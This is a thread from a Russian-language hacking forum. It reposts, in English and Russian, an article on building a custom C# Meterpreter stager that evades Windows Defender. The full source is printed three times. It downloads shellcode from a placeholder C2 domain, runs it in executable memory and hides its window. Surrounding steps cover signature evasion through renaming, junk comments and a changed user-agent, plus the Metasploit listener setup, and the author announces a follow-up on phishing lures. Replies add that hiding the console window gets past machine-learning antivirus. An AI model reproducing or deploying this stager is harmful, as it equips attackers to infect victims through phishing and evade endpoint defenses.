• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Phishing a Payload Part 1: Using a Custom C# Meterpreter Stager to Bypass Windows Defender

forgehelm

HDD-drive
Пользователь
Регистрация
27.07.2021
Сообщения
29
Реакции
40
Гарант сделки
2
Депозит
0.0017
Tools such as Windows Defender rely heavily on signature matches to identify malicious payloads and artifacts, which may end-up on a user’s machine. While these controls have improved over the years, a variety of defense evasion techniques have enabled attackers to continually subvert such detections. One such workaround involves the development of a custom stager.

A stager is simply a small piece of software that pulls down a second-stage of malware. This is used to evade front-line detections such as anti-virus software. Most commonly used C2 frameworks such as Metasploit, Cobalt Strike, and others, have such capabilities pre-built to enable rapid deployment of C2 beacons when needed. Unfortunately for pentesters, most of these are well-known to front-line detections such as Windows Defender and as such are easily detectable.

Take the following example: a staged Meterpreter payload is generated automatically using msfvenom (part of the free, open-source Metasploit framework):
mMoDbdS0Av-KefOFJyg-AbwJjZf5d1ARlUqjFODi9aKSSCCpE5wnwxHqgaPJrApjjvsiO8a1UyzH2Q5lQ9Tn9OEvFoyeVGhiNTvLqL-M8qovWl3sE-4iXlTUr3r4gQZkAgU4G3KZfIk8cVn6pQ

Figure 1: Msfvenom used to generate a reverse_https payload.

The result is a staged payload which will use HTTPS protocol to communicate and send commands to the victim machine from the C2 server. However, once transferred to a Windows 10 machine with Microsoft Defender running, the stager is immediately detected, even calling out the C2 framework that is being used:
Y4liSbvT5-qDSfwb_pT_I3af-KJ2s_hmDa3hJYcYKXByUSM9Td1gIRsqFW8xstjn-IevMYzftW5ZfZmfNCClDiVl0HrMMSquVH9c_5JGcOI_AVAPEbjGfmC5oYjJrQGGkEyGszjZ_x8-CrC4dQ

Figure 2: The previously generated Meterpreter payload correctly identified by Windows Defender.

Tools such as DefenderCheck enable a user to see exactly what Windows Defender is identifying as malicious within the executable. When run against the payload, output is generated which pinpoints the specific location in the payload that is triggering an alert:
Sj0hVMBQXfBVltp2cOV9c8dwzG8eVn1ZzaU-1CYOjuj-9TLcuyl3b3IbMJIxHFCKB33GTcHN4iNvEabI0FRBLuU_vWcG7qvQGoPncJJHKtpQaNcFy_zK_hO-DZ9qg6dNSao5VWS2V2pP6GwEbw

Figure 3: Output from DefenderCheck when run against the previously generated payload.

From this output, it would appear that the web request using the default Meterpreter user-agent string is to be blamed. One potential workaround for such a detection is to iterate through each detection and modify the stager until there are no more signature matches. Another possibility involves the development of a custom-stager, rather than the default Meterpreter stager.

To do this, a user must first identify the URI that the stager is reaching out to for its secondary payload. Using a Python tool called twistd3 a user can intercept HTTPS traffic and see what resource is being contacted by the stager. First a HTTPS certificate pair must be generated using OpenSSL and then invoke twistd3 using that key-pair to listen for incoming connections. To do so, first generate a private key:
WuWdvAy9BOWJsGMZbzq5cwqWpH4T_qgrClKCWuj6Vv8u7aF2yvBnejN2-cLk2Y_H0_7_U7gIj4j95bq6rT-BF2JeEoa3xCmsh2k7hcETx1M3eLhtlsCPOutJfLhXtvkOVZvPmJG1Vo7KGjbXlg

Figure 4: OpenSSL generating a private key.

Next, create an associated public key, using the private key just generated for HTTPS communication:
zQgg-D2NwnMmdhsjWZtGefty_fSncGKWxgebpuazWaYpoRi3P6-5U2LmpjlCNnGzMMUUY06oUXFF5WqCC-flA3w6hnpJz45zQraQW7jrsgIjGCjkFngyTGM-Ifn3E1gssl_UAZFLHC_t7HtZAg

Figure 5: OpenSSL generating a public key.

A HTTPS listener is then setup using twistd3 to catch the stager request:
I7rjSV6kbCBJMTUw95l3tewZjrVhkMbtC6mOUAB3T2WPi_IMRhJF0OCJYvJ35zZ-cGIGTPhJWo39axBaUxiSC4d6ShAVSr6BxedshMMiBHObSmgWdaV8UaHAL9QOZfi1WCK5HbQwJOdX5xcFpQ

Figure 6: Twistd3 used to open a HTTPS listener on port 8081.

During stager creation TCP port 25005 was defined as the port that would be used in the payload. Thus a port forwarding rule must be put in place to pass the connection into the LAN address that has twistd3 listening. Once this rule is active, go back to the test machine and execute the payload:
1DGkCli4nm5MzlFnWRub1SNmjzbasNaQg3JSWdokrmrnnNJ6PJPXRiaT9Jh9Msv58MahTi_04Nar-F8LaJ42yjJIIRTG-sB_KCqo_vYf18VmEpdoIaiT90pvmZw-xju5aEJDRjwYOXKAvvfQrQ

Figure 7: Test payload being executed on a test machine.

Pivoting back to the twistd3 listener, the resource that is trying to be located by the stager is identifed:
P7H-2ZPk32tfPe20KqHuOCT2uYydYynJNIf-f2OaBIjw54sqTDVvnh5puDOSnq2mHmK2ZTotfyOsfvXKV05KrZZI8-DLs92c7rqv-ZGTG5DJWrkDGksLO8bcfs0lFepdygCMmq4_ddeHyEQ7oQ

Figure 8: Twistd3 logging output showing the URI used by the Meterpreter payload to pull down a second-stage.

From the above screenshot a GET request is shown for a rather long string; this is the location that Meterpreter will be listening on for the stager, to pull down and execute the malicious, secondary payload. Now that this has been identified, it can be used in a custom stager.

To do so start with some template C# code (included below) that will allocate memory for the malicious code, send a web request, and then execute that code within the same process.
KfAFyVeWKWDK0Vpr3Sd-SHb52H18XTG0s3oZFrhvMmgU47U6g1TADe_v3kN1ndqe-tljvilUlLywflzyhpr8hiB9YBe8mxoun_EKQdsF9lHTCL9TwvF3kiDTm6ctW0L69VRxlEHB7vnIlCmGyA

Figure 9: C# source code used in the custom stager.

C#:
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;

public class Termak
{
    //Junk comments


    //Junk comments

   [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);


    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lppermUpgrade);

    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    private static UInt32 MEM_COMMIT = 0x1000;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int cmdShow);


    //Junk comments
    public static void Main()
    {
        IntPtr h = Process.GetCurrentProcess().MainWindowHandle;
        ShowWindow(h, 0);

        while (true)
        {
            System.Threading.Thread.Sleep(1);
            string progLoc = "https://c2domain.com:8080/resource";
            addFunc(progLoc);
        }
    }

    public static void addFunc(string progLoc)
    {

        WebClient wc = new WebClient();
        wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36");
        ServicePointManager.Expect100Continue = true;
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
        ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };

        byte[] stromBolicode = wc.DownloadData(progLoc);

        UInt32 forStoppage = VirtualAlloc(0, (UInt32)stromBolicode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        Marshal.Copy(stromBolicode, 0, (IntPtr)(forStoppage), stromBolicode.Length);
        IntPtr jokMarkingCalc = IntPtr.Zero;
        UInt32 permUpgrade = 0;
        IntPtr optionOne = IntPtr.Zero;
        jokMarkingCalc = CreateThread(0, 0, forStoppage, optionOne, 0, ref permUpgrade);
        WaitForSingleObject(jokMarkingCalc, 0xFFFFFFFF);

    }

}
In the above screenshot, the GET request is modified so that it is reaching out to an attacker-controlled domain and is pointed to the C2 IP address by modifying the DNS “A” record.

Additionally, the user-agent string should be modified along with variable names and class names, in case Windows Defender has seen similar code in the past and generated signatures for it. “Junk comments” are also inserted to further obfuscate the true intention of the custom stager:
c3N951UZO1_9qNbrzBurnoTf3J2VwcUubOiM1thBHWuPNnhNzf_s_93upKhQT6Cbazdep_62y9Sp0Nx3M3faW5y2RqjEnb4UADbF_M3PfywHdYyzHRLHWH7jrA6E5jdNxbnJBFXpxUaUk0xAzQ

Figure 10: Modified class names and “junk comments” in the stager source code.

xWqA243sDsNI0hY05iWKYxZt27rqzK8LNGn4dJeOPx29OwskpUzO4ofwcO8alqq-6Qbvkk51trvQU70j65W-duh5vuGKzk_Kn84rPnsZ7bAPMUC43T3rsXaohj6N9g_h3-I1AyKw8ezU8_dQMA

Figure 11: Modified user-agent string in the stager source code.

Once complete, the source code is saved and it is ready to be compiled. Fortunately, C# is widely used today and a compiler is located on all machines running the .NET framework.
XBqvOwfzthILoCU62NqaIwwyJwoI4Yl6yNp0hlnfEZxTNirqI0h1vCOxjpvUEe-0zbb6Fg-96FQ3bmHt-FFsor9g3JrahuvANSrZYgNs8QwFhE-v9OVuKoi65pKNzjpTMUILXp7nm7ZeJwaXeg

Figure 12: C-Sharp Compiler (CSC) being used to compile the stager.

Now go back to the Kali Linux machine and launch Metasploit Framework:
FDLhN-dInbNOURxghp6rkUQ66uPhJc4F8rxMZddBIuCYTArg8AeYhtf57jjTplDyfiqY32lWYmME8Z_GljwTq_WjZgf7mHPD7RnCaJ6IGPWn5q9oFvIAxymI4wFiZqqMpIifsul7P-XzuuodiQ

Figure 13: Metasploit framework launched via the command “msfconsole” in Kali Linux.

Once loaded, the Windows x64 staged-meterpreter payload is used with the following options set:
4sajfMsH5VchTAm_tL2cII78I88T4Zj6qV3pTlJQBVlD9xWipu0H0r2IjRYJu0EJQCqu8d2hFshaWGnCJmMt0xjBGICv806Qsa72QmUmACm0zMvzFkQtEUAHdyLn-8vweXlfpTYwWaEWpICSmg

Figure 14: Meterpreter handler being setup with a local IP address and port for the listener.

Type exploit and the listener starts:
3YH1iJdepH11xw8oIktpJgnvjhcb7wlQp-z-i0mA8o_3MZlD6DAvbZDd35SHl-10WnbDLtArvoXhUUopxPQ_5uzCOAD12gAPAlQUTtPq0XEOiDiqB9iUHkV6enmT_T382O2EH3DArQos3DVVWA

Figure 15: Active Meterpreter listener

The payload is executed on the endpoint:
q-YlScwSrVverIpoTxUumr1Gt89-4HSW1nn43V-g8t_vTLeCJV4h2aUUKMGQv9ruBG9CPF-AB-Nvvt_oP2wIbzQsFDBYIznh1yUeooDSaN8z3VpuYCmhYTliE1OcaMVubxzC9ybx9jZdsC2YUA

Figure 16: Stager execution on a test Windows 10 machine.

A Meterpreter shell is opened:
EaUZMWdDMFRPsdPzcGXO-6ZoaOkHMV47W1Ai32tDjXYpJj4etfiOobsKMzEJz1mEN5Oy6-e3biwzQie5m3TqLW5lROTIcsogzTZ-HnqFenRz0gF5pdKw3uBZG-xqQc0lkwxqaDONstaJMVJ8Bg

Figure 17: When a Meterpreter shell is opened, it is indicated by Metasploit Framework as shown.

With successful execution check to make sure Windows Defender is not alerting on the stager:
sxgR9kSoom7ybobbNMVwG-f8ta6ciLDHtxdJ_cFj748A89Q7SvaxlIWofLZSJn6h-mBdcWqKv45Wih_LLVwjbeU0fswMucDqFhuhME2uuXTSpIRuzT9MllWpgu0RWSwocxYWCQBpIVqThaa0bg

tciFczhBSlE9P9ZWzMwefLYPZ68eiNrYa9sFMvNdDfwG0ca7V0zhe02tZYGjVdZK1Dslu_zHCF9qBz938sWYoaS9fY2-HrGTDhTK_L9zDTM-ykaIys1T4kHPYpQAmhoSdr_L2vAMdUu9QEIgJw

Figure 18: Manual scan of the custom stager using Windows Defender finds no threats within the executable.

Once you have a working payload, you can move on to constructing a phishing lure to kick it off! That article coming soon...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
IntPtr h = Process.GetCurrentProcess().MainWindowHandle;
ShowWindow(h, 0);
Мне кажется, что это уже стало доброй традицией удивляться, почему люди собирают консольное приложение и прячут консольное окно, вместо того, чтобы просто создавать оконное приложение. Даже если с помощью csc собирать без всяких msbuild'ов, это всего лишь /target:winexe параметр указать. Я последнее время вижу это так часто, что уже начинает казаться, что в этом действии какой-то хорошо скрываемый элюминатами потаенный смысл есть.

Забавно, что, видимо в первых версиях, хендл консольного окна находился через GetConsoleWindow, в связи с чем pinvoke этой функции остался объявленным в коде, то есть эта вещь, вероятно, тянется по цепочке еще из каких-то семплов исходного кода, написанного на С/С++.
 
Последнее редактирование:
Такие инструменты, как Защитник Windows, в значительной степени полагаются на совпадения сигнатур для выявления вредоносных полезных нагрузок и артефактов, которые могут оказаться на компьютере пользователя. Хотя эти средства контроля с годами улучшились, различные методы уклонения от защиты позволяют злоумышленникам постоянно подрывать такие обнаружения. Одним из таких обходных путей является разработка кастомного стейджера.

Стейджер — это просто небольшая часть программного обеспечения, которая загружает второй кусок вредоносного ПО. Он используется, чтобы избежать обнаружения на передовой, например антивирусного программного обеспечения. Наиболее часто используемые платформы C2, такие как Metasploit, Cobalt Strike и другие, имеют такие встроенные возможности, позволяющие быстро развертывать маячки C2, когда это необходимо. К сожалению для пентестеров, большинство из них хорошо известны стражам защиты, таким как Защитник Windows, и поэтому их легко обнаружить.

Возьмем следующий пример: поэтапная полезная нагрузка Meterpreter генерируется автоматически с использованием msfvenom (часть бесплатного фреймворка Metasploit с открытым исходным кодом):

1654857391594.png


Результатом является поэтапная полезная нагрузка, которая будет использовать протокол HTTPS для связи и отправки команд на компьютер-жертву с сервера C2. Однако после переноса на компьютер с Windows 10 с запущенным Microsoft Defender стейджер немедленно обнаруживается:

1654857406875.png


Такие инструменты, как DefenderCheck (https://github.com/matterpreter/DefenderCheck), позволяют пользователю видеть, что именно Защитник Windows идентифицирует как вредоносное в исполняемом файле. При запуске против полезной нагрузки генерируется вывод, который точно определяет конкретное место в полезной нагрузке, которое вызывает предупреждение:

1654857422364.png


Из этого вывода может показаться, что виноват веб-запрос, использующий строку пользовательского агента Meterpreter по умолчанию. Одним из возможных обходных путей для такого обнаружения является повторение каждого обнаружения и модификация стейджера до тех пор, пока не будет больше совпадений сигнатур. Другая возможность включает в себя разработку пользовательского стейджера, а не стандартного стейджера Meterpreter.

Для этого пользователь должен сначала определить URI, к которому стейджер обращается за своей вторичной полезной нагрузкой. Используя инструмент Python под названием Twistd3, пользователь может перехватывать HTTPS-трафик и видеть, с каким ресурсом связывается стейджер. Сначала необходимо сгенерировать пару сертификатов HTTPS с помощью OpenSSL, а затем вызвать Twistd3, используя эту пару ключей, для прослушивания входящих подключений. Для этого сначала сгенерируйте закрытый ключ:

1654857437612.png


Затем создайте связанный открытый ключ, используя закрытый ключ, только что сгенерированный для связи по протоколу HTTPS:

1654857451332.png


Затем прослушиватель HTTPS настраивается с помощью Twistd3 для перехвата запроса стейджера:

1654857463220.png


При создании стейджера TCP-порт 25005 был определен как порт, который будет использоваться в полезной нагрузке. Таким образом, необходимо установить правило переадресации портов, чтобы передать соединение на адрес локальной сети, который прослушивает TwistD3. Как только это правило станет активным, вернитесь к тестовой машине и выполните полезную нагрузку:

1654857485406.png


Возвращаясь к слушателю Twistd3, мы идентифицируем ресурс, который пытается найти стейджер:

1654857497145.png


На приведенном выше снимке экрана показан запрос GET для довольно длинной строки; это место, которое Meterpreter будет прослушивать для стейджера, чтобы вытащить и выполнить вредоносную вторичную полезную нагрузку. Теперь, когда это определено, его можно использовать в пользовательском стейджере.

Для этого начните с некоторого шаблонного кода C# (приведен ниже), который будет выделять память для вредоносного кода, отправлять веб-запрос, а затем выполнять этот код в том же процессе.

1654857513246.png


C#:
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;

public class Termak
{
    //Junk comments


    //Junk comments

   [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);


    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lppermUpgrade);

    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    private static UInt32 MEM_COMMIT = 0x1000;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int cmdShow);


    //Junk comments
    public static void Main()
    {
        IntPtr h = Process.GetCurrentProcess().MainWindowHandle;
        ShowWindow(h, 0);

        while (true)
        {
            System.Threading.Thread.Sleep(1);
            string progLoc = "https://c2domain.com:8080/resource";
            addFunc(progLoc);
        }
    }

    public static void addFunc(string progLoc)
    {

        WebClient wc = new WebClient();
        wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36");
        ServicePointManager.Expect100Continue = true;
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
        ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };

        byte[] stromBolicode = wc.DownloadData(progLoc);

        UInt32 forStoppage = VirtualAlloc(0, (UInt32)stromBolicode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        Marshal.Copy(stromBolicode, 0, (IntPtr)(forStoppage), stromBolicode.Length);
        IntPtr jokMarkingCalc = IntPtr.Zero;
        UInt32 permUpgrade = 0;
        IntPtr optionOne = IntPtr.Zero;
        jokMarkingCalc = CreateThread(0, 0, forStoppage, optionOne, 0, ref permUpgrade);
        WaitForSingleObject(jokMarkingCalc, 0xFFFFFFFF);

    }

}

На приведенном выше снимке экрана запрос GET изменен таким образом, что он обращается к домену, контролируемому злоумышленником, и указывает на IP-адрес C2 путем изменения записи DNS "A".

Кроме того, строку пользовательского агента следует изменить вместе с именами переменных и именами классов на тот случай, если Защитник Windows видел аналогичный код в прошлом и сгенерировал для него подписи. Также вставляются "Junk comments", чтобы еще больше скрыть истинное намерение стейджера:

1654857564382.png



1654857576408.png


После завершения исходный код сохраняется и готов к компиляции. К счастью, сегодня C# широко используется, и компилятор есть на всех машинах, где работает платформа .NET.

1654857597299.png


Теперь возвращаемся к машине с Kali Linux и запускаем Metasploit Framework:

1654857645210.png


После загрузки поэтапная полезная нагрузка Windows x64 используется со следующими установленными параметрами:

1654857660264.png


Введите exploit , и слушатель запустится:

1654857675895.png


Полезная нагрузка выполняется на конечной точке:

1654857687493.png


Открывается оболочка Meterpreter:

1654857700064.png


При успешном выполнении проверьте, чтобы Защитник Windows не оповещал о нашей атак:

1654857713965.png


Когда у вас будет рабочая полезная нагрузка, вы можете перейти к созданию фишинговой компании, чтобы запустить ее! Эта статья скоро появится...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Who is the original author please? I would like to know what this piece of code does
The code is compiled as console application, this code hides the console window that otherwise will appear when the console app starts. This way it also may appear for a small amount of time though, it depends on how fast is the computer it will be run on.
 
The code is compiled as console application, this code hides the console window that otherwise will appear when the console app starts. This way it also may appear for a small amount of time though, it depends on how fast is the computer it will be run on.
Привет. А какой твой основной язык кодинга на работе?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А какой твой основной язык кодинга на работе?
C++, C#, Python, Nim в основном.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Дай обниму, мой ты хороший. Завтра обязательно лайкусик поставлю
 
Последнее редактирование модератором:
The code is compiled as console application, this code hides the console window that otherwise will appear when the console app starts. This way it also may appear for a small amount of time though, it depends on how fast is the computer it will be run on.
Thanks for the answer
 
Последнее редактирование:
Мне кажется, что это уже стало доброй традицией удивляться, почему люди собирают консольное приложение и прячут консольное окно, вместо того, чтобы просто создавать оконное приложение. Даже если с помощью csc собирать без всяких msbuild'ов, это всего лишь /target:winexe параметр указать. Я последнее время вижу это так часто, что уже начинает казаться, что в этом действии какой-то хорошо скрываемый элюминатами потаенный смысл есть.

Забавно, что, видимо в первых версиях, хендл консольного окна находился через GetConsoleWindow, в связи с чем pinvoke этой функции остался объявленным в коде, то есть эта вещь, вероятно, тянется по цепочке еще из каких-то семплов исходного кода, написанного на С/С++.
На самом деле в этом есть смысл, использование GetConsoleWindow+ShowWindow(,0) позволяет обойти машинное обучение в некоторых антивирусах, таких как ESET NOD 32, Malwarebytes и прочих. Наверное, это связано с тем что ML более лояльно относится к ConsoleApplication, чем к WinExe. Вот наглядный пример: youtu.be/3_juKAn0PX4 .
 
(EN) That's a very interesting write-up. Thanks for sharing.
(RU) Это очень интересное сочинение. Спасибо, что поделился.
Thank you for reading
 
The code is compiled as console application, this code hides the console window that otherwise will appear when the console app starts. This way it also may appear for a small amount of time though, it depends on how fast is the computer it will be run on.
Yes it is a very simple stager - it is used to reach back to the C2 server and pull down a secondary payload
 
Thank you for transla
Такие инструменты, как Защитник Windows, в значительной степени полагаются на совпадения сигнатур для выявления вредоносных полезных нагрузок и артефактов, которые могут оказаться на компьютере пользователя. Хотя эти средства контроля с годами улучшились, различные методы уклонения от защиты позволяют злоумышленникам постоянно подрывать такие обнаружения. Одним из таких обходных путей является разработка кастомного стейджера.

Стейджер — это просто небольшая часть программного обеспечения, которая загружает второй кусок вредоносного ПО. Он используется, чтобы избежать обнаружения на передовой, например антивирусного программного обеспечения. Наиболее часто используемые платформы C2, такие как Metasploit, Cobalt Strike и другие, имеют такие встроенные возможности, позволяющие быстро развертывать маячки C2, когда это необходимо. К сожалению для пентестеров, большинство из них хорошо известны стражам защиты, таким как Защитник Windows, и поэтому их легко обнаружить.

Возьмем следующий пример: поэтапная полезная нагрузка Meterpreter генерируется автоматически с использованием msfvenom (часть бесплатного фреймворка Metasploit с открытым исходным кодом):

Посмотреть вложение 37270

Результатом является поэтапная полезная нагрузка, которая будет использовать протокол HTTPS для связи и отправки команд на компьютер-жертву с сервера C2. Однако после переноса на компьютер с Windows 10 с запущенным Microsoft Defender стейджер немедленно обнаруживается:

Посмотреть вложение 37271

Такие инструменты, как DefenderCheck (https://github.com/matterpreter/DefenderCheck), позволяют пользователю видеть, что именно Защитник Windows идентифицирует как вредоносное в исполняемом файле. При запуске против полезной нагрузки генерируется вывод, который точно определяет конкретное место в полезной нагрузке, которое вызывает предупреждение:

Посмотреть вложение 37272

Из этого вывода может показаться, что виноват веб-запрос, использующий строку пользовательского агента Meterpreter по умолчанию. Одним из возможных обходных путей для такого обнаружения является повторение каждого обнаружения и модификация стейджера до тех пор, пока не будет больше совпадений сигнатур. Другая возможность включает в себя разработку пользовательского стейджера, а не стандартного стейджера Meterpreter.

Для этого пользователь должен сначала определить URI, к которому стейджер обращается за своей вторичной полезной нагрузкой. Используя инструмент Python под названием Twistd3, пользователь может перехватывать HTTPS-трафик и видеть, с каким ресурсом связывается стейджер. Сначала необходимо сгенерировать пару сертификатов HTTPS с помощью OpenSSL, а затем вызвать Twistd3, используя эту пару ключей, для прослушивания входящих подключений. Для этого сначала сгенерируйте закрытый ключ:

Посмотреть вложение 37273

Затем создайте связанный открытый ключ, используя закрытый ключ, только что сгенерированный для связи по протоколу HTTPS:

Посмотреть вложение 37274

Затем прослушиватель HTTPS настраивается с помощью Twistd3 для перехвата запроса стейджера:

Посмотреть вложение 37275

При создании стейджера TCP-порт 25005 был определен как порт, который будет использоваться в полезной нагрузке. Таким образом, необходимо установить правило переадресации портов, чтобы передать соединение на адрес локальной сети, который прослушивает TwistD3. Как только это правило станет активным, вернитесь к тестовой машине и выполните полезную нагрузку:

Посмотреть вложение 37276

Возвращаясь к слушателю Twistd3, мы идентифицируем ресурс, который пытается найти стейджер:

Посмотреть вложение 37277

На приведенном выше снимке экрана показан запрос GET для довольно длинной строки; это место, которое Meterpreter будет прослушивать для стейджера, чтобы вытащить и выполнить вредоносную вторичную полезную нагрузку. Теперь, когда это определено, его можно использовать в пользовательском стейджере.

Для этого начните с некоторого шаблонного кода C# (приведен ниже), который будет выделять память для вредоносного кода, отправлять веб-запрос, а затем выполнять этот код в том же процессе.

Посмотреть вложение 37278

C#:
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;

public class Termak
{
    //Junk comments


    //Junk comments

   [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);


    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lppermUpgrade);

    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    private static UInt32 MEM_COMMIT = 0x1000;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int cmdShow);


    //Junk comments
    public static void Main()
    {
        IntPtr h = Process.GetCurrentProcess().MainWindowHandle;
        ShowWindow(h, 0);

        while (true)
        {
            System.Threading.Thread.Sleep(1);
            string progLoc = "https://c2domain.com:8080/resource";
            addFunc(progLoc);
        }
    }

    public static void addFunc(string progLoc)
    {

        WebClient wc = new WebClient();
        wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36");
        ServicePointManager.Expect100Continue = true;
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
        ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };

        byte[] stromBolicode = wc.DownloadData(progLoc);

        UInt32 forStoppage = VirtualAlloc(0, (UInt32)stromBolicode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        Marshal.Copy(stromBolicode, 0, (IntPtr)(forStoppage), stromBolicode.Length);
        IntPtr jokMarkingCalc = IntPtr.Zero;
        UInt32 permUpgrade = 0;
        IntPtr optionOne = IntPtr.Zero;
        jokMarkingCalc = CreateThread(0, 0, forStoppage, optionOne, 0, ref permUpgrade);
        WaitForSingleObject(jokMarkingCalc, 0xFFFFFFFF);

    }

}

На приведенном выше снимке экрана запрос GET изменен таким образом, что он обращается к домену, контролируемому злоумышленником, и указывает на IP-адрес C2 путем изменения записи DNS "A".

Кроме того, строку пользовательского агента следует изменить вместе с именами переменных и именами классов на тот случай, если Защитник Windows видел аналогичный код в прошлом и сгенерировал для него подписи. Также вставляются "Junk comments", чтобы еще больше скрыть истинное намерение стейджера:

Посмотреть вложение 37279


Посмотреть вложение 37280

После завершения исходный код сохраняется и готов к компиляции. К счастью, сегодня C# широко используется, и компилятор есть на всех машинах, где работает платформа .NET.

Посмотреть вложение 37281

Теперь возвращаемся к машине с Kali Linux и запускаем Metasploit Framework:

Посмотреть вложение 37282

После загрузки поэтапная полезная нагрузка Windows x64 используется со следующими установленными параметрами:

Посмотреть вложение 37283

Введите exploit , и слушатель запустится:

Посмотреть вложение 37284

Полезная нагрузка выполняется на конечной точке:

Посмотреть вложение 37285

Открывается оболочка Meterpreter:

Посмотреть вложение 37286

При успешном выполнении проверьте, чтобы Защитник Windows не оповещал о нашей атак:

Посмотреть вложение 37287

Когда у вас будет рабочая полезная нагрузка, вы можете перейти к созданию фишинговой компании, чтобы запустить ее! Эта статья скоро появится...

Thank you for translating
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх